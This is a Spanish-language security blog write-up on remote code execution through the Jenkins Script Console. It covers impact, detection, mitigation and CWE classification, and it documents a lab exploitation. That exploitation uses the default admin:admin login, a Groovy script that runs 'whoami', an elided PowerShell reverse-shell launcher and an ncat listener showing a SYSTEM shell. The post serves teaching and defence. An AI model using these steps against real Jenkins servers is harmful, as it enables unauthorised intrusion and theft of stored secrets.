cd ~/blog

~/vulns/jenkins-script-console-rce.md

Jenkins Script Console RCE

rceautor: Jordy Pérez Osorio aviso legal
JenkinsGroovyRCE

~2 min de lectura


1. Descripción técnica

Jenkins es un servidor de integración continua muy extendido. Incluye una Script Console (/script o, por nodo, /computer/<nodo>/script) que permite ejecutar scripts Groovy directamente sobre la JVM del controlador, con fines de administración y depuración.

Groovy puede invocar APIs de Java, incluida la ejecución de comandos del sistema operativo. Por tanto, un usuario autorizado para utilizar la Script Console puede ejecutar código con los privilegios de la cuenta que ejecuta Jenkins. El contexto resultante depende de la configuración del servicio y no debe asumirse que siempre será root o NT AUTHORITY\SYSTEM.

La capacidad de ejecutar código es una función administrativa deliberada, no una vulnerabilidad de Jenkins por sí sola. El problema de seguridad aparece cuando credenciales débiles, permisos excesivos o una exposición inadecuada permiten que una persona no autorizada alcance esa función.

2. Impacto de la vulnerabilidad

  • RCE con los privilegios de la cuenta que ejecuta el servicio Jenkins.
  • Acceso a credenciales almacenadas en Jenkins (secretos de despliegue, tokens, claves), facilitando movimiento lateral.
  • Pivote hacia toda la infraestructura de CI/CD.

3. Condiciones necesarias

  1. Acceso a la Script Console (/script), controlado en versiones actuales por el permiso Overall/Administer.
  2. Credenciales débiles, por defecto o ausentes, o autorización mal configurada que permita el acceso.
  3. Conectividad desde Jenkins hacia el recurso que reciba una conexión saliente, si se pretende obtener una reverse shell.

4. Validación y detección

  • Identificar Jenkins:
nmap -sCV -p8080 target      # Jetty / Jenkins
  • Acceder a http://target:8080/, identificar el mecanismo de autenticación y comprobar de forma autorizada qué roles pueden abrir /manage/script o /script.
  • Revisar la matriz de autorización y los registros de autenticación para detectar cuentas no administrativas con acceso equivalente a Overall/Administer.

5. Mitigación

  1. Cambiar las credenciales por defecto y aplicar contraseñas fuertes + 2FA.
  2. No exponer Jenkins a redes no confiables; situarlo tras VPN/proxy autenticado.
  3. Restringir el acceso a la Script Console mediante la matriz de autorización (solo administradores estrictamente necesarios).
  4. Ejecutar Jenkins con un usuario sin privilegios (no SYSTEM/root) para limitar el impacto.

6. Explotación documentada

En 35-build, Jenkins acepta las credenciales por defecto admin:admin. Desde /manage/script se ejecuta un script Groovy que confirma el contexto del servicio:

def comando = "cmd /c whoami"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text
// Salida: nt authority\system

Y lanzamos una reverse shell de PowerShell:

def comando = 'powershell -NoP -NonI -W Hidden -Command "..."'
def process = comando.execute()
process.waitFor()
println "pwned!"
❯ ncat -nlvp 1234
Ncat: Connection from target
PS C:\Program Files\Jenkins> whoami
nt authority\system

7. Clasificación

  • Tipo: Abuse of Administrative Functionality / Remote Code Execution
  • CWE:
    • CWE-269: Improper Privilege Management
    • CWE-1392: Use of Default Credentials

8. Referencias

// relacionados